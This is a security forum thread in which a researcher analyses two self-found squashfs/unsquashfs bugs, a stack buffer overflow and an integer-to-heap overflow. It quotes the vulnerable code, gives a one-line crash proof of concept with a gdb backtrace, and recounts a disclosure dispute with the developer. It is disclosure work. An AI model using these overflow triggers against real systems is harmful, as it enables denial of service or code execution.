Results 1 to 8 of 8

Thread: Anatomy of my first and second 0-day! Share/Save - My123World.Com!

  1. #1
    Garage Member
    Join Date
    Sep 2010
    Location
    Chennai
    Posts
    83
    Blog Entries
    1

    Anatomy of my first and second 0-day!

    Kindly wait up till i get a mail from the application developer.

    Here goes the complete analysis of the two bugs that I found in squashfs.

    -= Analysis starts here =-
    Vulnerability 1: (Read from the main() )

    Basically any code path that leads to add_path() is vulnerable to stack
    based buffer overflow. I am mentioned just one code path here(there exists
    multiple)
    Code:
    /*code starts here */
    
    /* vulnerable code because it reads between opening '/' and closing '/'
    without taking into consideration the length. Although Linux restricts
    directory length to be 255 characters, this makes no checks to see if it is
    a valid directory too. */
    char *get_component(char *target, char *targname)
    {
    while(*target == '/') /*point to the first char other than '/' */
    target ++;
    
    while(*target != '/' && *target!= '\0') /* read until '\0' or '/' */
    *targname ++ = *target ++;
    
    *targname = '\0';
    
    return target; //return the modified target
    }
    
    
    
    struct pathname *add_path(struct pathname *paths, char *target, char
    *alltarget)
    {
    char targname[1024]; /* fixed size static buffer */
    .....
    target = get_component(target, targname); //pass a fixed size buffer in
    targname whereas target is user controlled
    
    }
    
    int main(int argc,char *argv[])
    {
    ....
    for(n = i + 1; n < argc; n++)
    path = add_path(path, argv[n], argv[n]); /* vulnerable code path */
    
    ....
    }
    
    
    Here goes the analysis for vulnerability 2:(Read from main() )
    /*code starts here */
    /* These two global variables contain 256 by default, can be altered in the
    command line to cater to our needs */
    /* these are user supplied */
    int fragment_buffer_size = FRAGMENT_BUFFER_DEFAULT;
    int data_buffer_size = DATA_BUFFER_DEFAULT;
    
    void *queue_get(struct queue *queue)
    {
    .....
    while(queue->readp == queue->writep)
    pthread_cond_wait(&queue->empty, &queue->mutex);
    
    data = queue->data[queue->readp]; /* get the data */
    /* vulnerability occurs here
    from [1] and [2] , queue->size and the allocated memory in the heap are
    very different, according to the C standards, when performing a modulus ,
    the sign on the result should the same as the sign of the dividend, so the
    negative sign in queue->size will not affect the result in any way, thereby
    writing past the allocated space in heap resulting in a heap oveflow */
    queue->readp = (queue->readp + 1) % queue->size;
    .......
    }
    
    void *reader(void *arg)
    {
    while(1) {
    /* vulnerable code path */
    struct cache_entry *entry = queue_get(to_reader);
    
    ....
    }
    
    
    struct queue *queue_init(int size)
    {
    ....
    /*
    struct queue {
    int size;
    int readp;
    int writep;
    pthread_mutex_t mutex;
    pthread_cond_t empty;
    pthread_cond_t full;
    void **data;
    };
    
    */
    /* consider the following situation considering the fact malloc()'s
    argument is an unsigned integer
    
    If size is 0xc0000010, then sizeof(void *) which is 4, multiplied by
    0xc0000011 will give 0x44 because of overflow, notice that we control the
    'size' parameter because it was derived from fragment_buffer_size and
    data_buffer_size which was user supplied. Lets consider it as [1]
    
    */
    queue->data = malloc(sizeof(void *) * (size + 1)); /* [1] */
    /* since queue->size is a signed integer, it will be a large negative
    number , this will aid us in the overflow, so let this be [2] */
    queue->size = size + 1; /* [2] */
    queue->readp = queue->writep = 0; /* initialised to zero */
    
    /*vulnerable code path */
    pthread_create(&thread[0], NULL, reader, NULL);
    ....
    }
    
    void initialise_threads(int fragment_buffer_size, int data_buffer_size)
    {
    .....
    int all_buffers_size = fragment_buffer_size + data_buffer_size; /* it is
    possible for two unsigned int values to overflow when added together, can't
    be exploited though, still can cause error in the computation */
    /* vulnerable code path */
    to_reader = queue_init(all_buffers_size);
    to_deflate = queue_init(all_buffers_size);
    
    }
    
    int main(int argc,char *argv[])
    {
    /*
    unsigned int block_size,block_log;
    struct squashfs_super_block {
    unsigned int s_magic;
    unsigned int inodes;
    unsigned int mkfs_time /* time of filesystem creation */;
    unsigned int block_size; /* concerned member variable  */
    unsigned int fragments;
    unsigned short compression;
    unsigned short block_log; /* concerned member variable */
    unsigned short flags;
    unsigned short no_ids;
    unsigned short s_major;
    unsigned short s_minor;
    squashfs_inode root_inode;
    long long bytes_used;
    long long id_table_start;
    long long xattr_id_table_start;
    long long inode_table_start;
    long long directory_table_start;
    long long fragment_table_start;
    long long lookup_table_start;
    };
    */
    block_size = sBlk.s.block_size; /* data is just zero extended because of
    unsigned'ness */
    block_log = sBlk.s.block_log;
    
    fragment_buffer_size <<= 20 - block_log; /* convert to bytes - some offset
    */
    data_buffer_size <<= 20 - block_log;
    /* vulnerable code path starts here */
    initialise_threads(fragment_buffer_size, data_buffer_size);
    }
    Following is the PoC to trigger the first vulnerability.
    (gdb) r lolcat.squashfs -ef /$(perl -e 'print "A" x 2000')/
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /usr/sbin/unsquashfs lolcat.squashfs -ef /$(perl -e 'print "A" x 2000')/
    [Thread debugging using libthread_db enabled]

    Program received signal SIGSEGV, Segmentation fault.
    0x008456d4 in getenv () from /lib/libc.so.6
    (gdb) bt
    #0 0x008456d4 in getenv () from /lib/libc.so.6
    #1 0x008802ee in __libc_message () from /lib/libc.so.6
    #2 0x0090f16d in __fortify_fail () from /lib/libc.so.6
    #3 0x0090f11a in __stack_chk_fail () from /lib/libc.so.6
    #4 0x0804ae40 in ?? ()
    #5 0x41414141 in ?? ()
    #6 0x41414141 in ?? ()
    #7 0x41414141 in ?? ()
    #8 0x41414141 in ?? ()
    #9 0x41414141 in ?? ()
    #10 0x41414141 in ?? ()
    #11 0x41414141 in ?? ()
    #12 0x41414141 in ?? ()
    #13 0x41414141 in ?? ()
    #14 0x41414141 in ?? ()
    #15 0x41414141 in ?? ()
    #16 0x41414141 in ?? ()
    #17 0x41414141 in ?? ()
    #18 0x41414141 in ?? ()
    #19 0x41414141 in ?? ()
    #20 0x41414141 in ?? ()
    #21 0x41414141 in ?? ()
    #22 0x41414141 in ?? ()

    The second vulnerability requires a crafted squashfs file image for it to work. The code is well commented. Comments are welcome. On a side note, the week had been kind of _fucked_ up truly since the developer felt that I harmed the reputation of the squashfs project. What happened was I sent him a mail regarding the vulnerabilities, waited for a week before I submitted them to CVE. The author who happened to see the mails (I sent him three mails actually ) didn't see fit to respond and suddenly when CVE ID's were assigned called me a trouble maker or whatever. I really thought I made a mistake of harming the reputation of a Open Source project by submitting it to CVE-MITRE, then CVE guys sent me a mail. Read the mail below..

    Most producers of software (open source or closed source) consider
    reports of claimed vulnerabilities to be substantially different from
    other bug reports, regardless of whether the claims are ultimately
    considered correct. For example, many open-source projects
    specifically do not want vulnerability reports to arrive through their
    normal bug-tracking web sites. The squashfs home page says "Queries,
    problems, etc. please send a message to the Squashfs mailing list, or
    use the trackers available on the Squashfs sourceforge page" and also
    says "The author can be contacted by email, phillip at
    lougher.demon.co.uk or plougher at users.sourceforge.net." A large
    fraction of experienced vulnerability reporters would interpret this
    to mean that vulnerability reports should be sent to one of the two
    specified e-mail addresses. This turns out to be an incorrect
    interpretation. If the squashfs project wants their page to be
    interpreted correctly more often, they should probably change the
    first part to something like "Queries, problems, etc. please send a
    message to the Squashfs mailing list, or use the trackers available on
    the Squashfs sourceforge page. If there is a security bug, please only
    use the Tracker, and be sure to mark the issue Private at the top of
    the Add Artifact page."
    Actually the author told me that I should have submitted it to the squashfs devel list, where it _will_ be made public whereas in CVE it wont be done so unless there is a fix issued. IMO, the author is the biggest hypocrite I have ever met, Have you guys experienced the same thing when reporting bugs? I mean the author keeps telling me the bugs are minor even when I show him the stack trace where eip=0x41414141.
    And below is the URL released by CVE-MITRE to justify giving the two bugs of mine, CVE-IDS
    Explanation Link

    http://www.securelist.com/en/advisories/49995 . This contains the advisory.

    I guess i need to thank "Vinnu" bro for all the motivation he gives me and having extraordinary faith in me. And also fb1h2s bro for helping me out (Hopefully I make it, still got my HR to go) and also to Anil bro for the recommendation. Hopefully everything turns out fine.
    ~Peace
    Last edited by sebas_phoenix; 07-23-2012 at 06:25 PM.

  2. #2
    Super Commando Dhruv abhaythehero's Avatar
    Join Date
    Sep 2010
    Location
    Lucknow/Pune,India
    Posts
    466
    Blog Entries
    2
    Quote Originally Posted by sebas_phoenix View Post
    Kindly wait up till i get a mail from the application developer.

    -=real stuff goes here=-


    Till then,

    ~Peace
    wow !! A invisible teaser trailer for your 0-day. Loved it

    Anyways waiting for it
    Last edited by abhaythehero; 07-11-2012 at 09:50 PM.
    In the world of 0s and 1s, are you a zero or The One !

  3. #3
    ... I am no Expert b0nd.g4h@gmail.com b0nd's Avatar
    Join Date
    Jul 2010
    Location
    irc.freenode.net #g4h
    Posts
    744
    ... and many more are in waiting list
    [*] To follow the path: look to the master, follow the master, walk with the master, see through the master,
    ------> become the master!!! <------
    [*] Everyone has a will to WIN but very few have the will to prepare to WIN
    [*] Invest yourself in everything you do, there's fun in being serious

  4. #4
    Security Researcher fb1h2s's Avatar
    Join Date
    Jul 2010
    Location
    India
    Posts
    616
    Blog Entries
    32
    First of all good , gob. I liked you'r attitude the most , and that is enough to get more things comming .
    Hacking Is a Matter of Time Knowledge and Patience

  5. #5
    Have u checked it on android also? Do it.


    "vinnu"

  6. #6
    Garage Member
    Join Date
    Sep 2010
    Location
    Chennai
    Posts
    83
    Blog Entries
    1
    Quote Originally Posted by "vinnu" View Post
    Have u checked it on android also? Do it.


    "vinnu"
    No bro..am not able to find a squashfs-tools for android.

    @all:Thanks a lot

  7. #7
    That's a common problem with vendors/developers they whine when submits a security bug to them. So, you'll face that more often than not.
    Next time I hope you get some overflows in suid binaries ;-)
    Best of Luck!

  8. #8
    Garage Member
    Join Date
    Sep 2010
    Location
    Chennai
    Posts
    83
    Blog Entries
    1
    Quote Originally Posted by webdevil View Post
    That's a common problem with vendors/developers they whine when submits a security bug to them. So, you'll face that more often than not.
    Next time I hope you get some overflows in suid binaries ;-)
    Best of Luck!
    Thanks bro! hopefully next time , they turn out to be suid binaries

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •